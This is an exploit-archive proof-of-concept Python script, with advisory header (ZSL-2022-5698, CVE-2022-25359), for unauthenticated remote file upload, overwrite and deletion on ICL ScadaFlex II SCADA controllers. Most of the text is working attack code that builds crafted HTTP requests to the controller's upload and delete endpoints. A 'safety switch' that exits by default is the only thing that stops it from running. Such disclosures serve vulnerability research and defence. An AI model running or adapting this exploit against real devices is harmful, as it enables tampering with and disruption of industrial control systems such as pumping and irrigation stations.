1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 |
# Exploit Title: CL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD # Exploit Author: LiquidWorm #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD # # # Vendor: Industrial Control Links, Inc. # Product web page: http://www.iclinks.com # Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf # Affected version: SW: 1.03.07 (build 317), WebLib: 1.24 # SW: 1.02.20 (build 286), WebLib: 1.24 # SW: 1.02.15 (build 286), WebLib: 1.22 # SW: 1.02.01 (build 229), WebLib: 1.16 # SW: 1.01.14 (build 172), WebLib: 1.14 # SW: 1.01.01 (build 2149), WebLib: 1.13 # # # Summary: Scadaflex II controllers are 100% web based # for both configuration and user interface. No applications # are required other than any standard web browser. They # are easily supported by remote access over the Internet # or a cellular link. Scadaflex II controllers support # industry standard wired communications using Modbus, # DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial # bridging for Modbus or any other protocol. Each Scadaflex # II controller has both analog and digital, inputs and # outputs, sufficient for pumping stations, irrigation # controls, and other similar process monitoring and control # applications. They can also serve as communications # concentrators and protocol converters that enhance the # operation of existing PLCs and process equipment. # # Desc: The SCADA controller is vulnerable to unauthenticated # file write/overwrite and delete vulnerability. This allows # an attacker to execute critical file CRUD operations on the # device that can potentially allow system access and impact # availability. # # Tested on: SCADA HTTP Server # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2022-5698 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5698.php # # CVE ID: CVE-2022-25359 # CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25359 # # # 06.11.2021 # import time,sys import requests import datetime import showtime # Default # AES Encryption Key = 'ABCD1234abcd:ICL' def bann(): print(''' ---------------------------------------------------------- ) ) ) ) ) ) ( ( (( ( ( ) ) ) ) ) ) (~~~~~~~~~) (~~~~~~~~~) | t00t| |w00t | | | | | I_._I _._ I/' <code>\\I /' </code>\\ I | M | I| J | f | |~~~~~~~~~~~~~~|f||~~~~~~~~~~~~~~| .'| ||~~~~~~~~||.' || |~~~~~~~~| | /'______|___||__###___|____|/'_______|____|_|__###___|___| ScadaFlex II SCADA Controllers Remote write/delete PoC ZSL-2022-5698 ---------------------------------------------------------- ''') def safe(*trigger, ): return True # |-| Safety Switch def choice(n): try: if n == 1: overwrite(controllerip = sys.argv[1], filepos = int(sys.argv[3], base = 10)) elif n == 2: delete(controllerip = sys.argv[1], filepos = int(sys.argv[2], base = 10)) else: print('Usage (Upload): ./sflex.py [IP] [Local file] [File position number]') print('Usage (Delete): ./sflex.py [IP] [File position number]') raise SystemExit('t00t') except Exception as tip: raise SystemExit(tip) def jump(): choice(1) if len(sys.argv) == 4 else next choice(2) if len(sys.argv) == 3 else next def overwrite(controllerip, filepos): print('Starting script at', start) localfile = sys.argv[2] with open(localfile, 'rb') as opener: scadaurl= 'http://' scadaurl += controllerip scadaurl += '/d.php?N' scadaurl += str(filepos) scadaurl += ',73,' scadaurl += opener.name scadaurl += '~' scadaurl += str(int(time.time())) see = requests.post(scadaurl, files = {'upload' : opener}) if '100' in see.text: print('File uploaded in {} directory at position {}.'.format('l', filepos)) print('URL: http://' +controllerip+ '/l/' +localfile) else: print("- controller webserver error.") exit() def delete(controllerip, filepos): print('Starting script at', start) exit(42) if isinstance(filepos, str) else next scadaurl= 'http://' scadaurl += controllerip scadaurl += '/rW12IcL_Dat_N' scadaurl += str(filepos) scadaurl += ',0=1~' scadaurl += str(int(time.time())) see = requests.get(scadaurl) check= '\x72\x57'#| check += '\x31\x32'#| check += '\x49\x63'#| check += '\x4c\x5f'#| check += '\x44\x61'#| check += '\x74\x5f'#| check += '\x4e'# o'#| check += str(filepos)#| check += '\x2c\x30'#| check += '\x09\x52'#| if check in see.text: print('File at position {} deleted.'.format(filepos)) else: print('- controller webserver error.') exit() def main(): if safe(True): print('Careful...\nSafety: ON') exit(17) else: print('Safety: OFF', end = '') global start start = datetime.datetime.now() start = start.strftime('%d.%m.%Y %H:%M:%S') bann(), jump(), choice(1959) if __name__ == "__main__": main() |